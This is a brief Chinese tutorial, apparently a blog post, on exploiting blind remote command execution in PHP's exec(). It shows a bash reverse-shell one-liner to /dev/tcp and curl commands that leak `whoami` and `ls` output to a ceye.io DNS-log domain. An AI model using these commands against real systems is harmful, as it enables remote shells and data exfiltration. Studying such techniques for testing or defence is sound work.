无回显RCE
无回显rce,就是可能进行命令执行,但却看不到命令执行的结果,也不知道命令是否被执行
例如以下代码:
exec
和system
类似都是执行系统命令,不过exec
无回显
1 | <?php |
我们可以通过sleep 5
来观察网页是否有延迟来判断命令是否成功执行
那么如何看到命令执行结果呢?
0x1 tee命令
tee命令用于读取标准输入的数据,并将其内容输出成文件,然后查看输出的文件
1 | cat xxx | tee 1.txt |
0x2 反弹shell
实际上命令执行了只是看不到回显,我们可以把shell反弹到自己服务器上,再执行命令就可以看到回显了
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
0x3 dnslog外带数据法
DNS(域名解析):
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
如果我们发起请求的目标是域名的话,会发生域名解析,产生dnslog
dns请求可以通过ping
或curl
实现
推荐平台:http://ceye.io/,注册后就会有一个自己的域名,每当dns请求中包含有我们的域名,里面就会有记录
例:
1 | curl http://******.ceye.io/`whoami` |
其他命令也就类似了,但是注意ls
只会显示结果中的第一条,要通过sed
选择行数
1 | curl http://******.ceye.io/`ls | sed -n '2p'` # 2p为第二行... |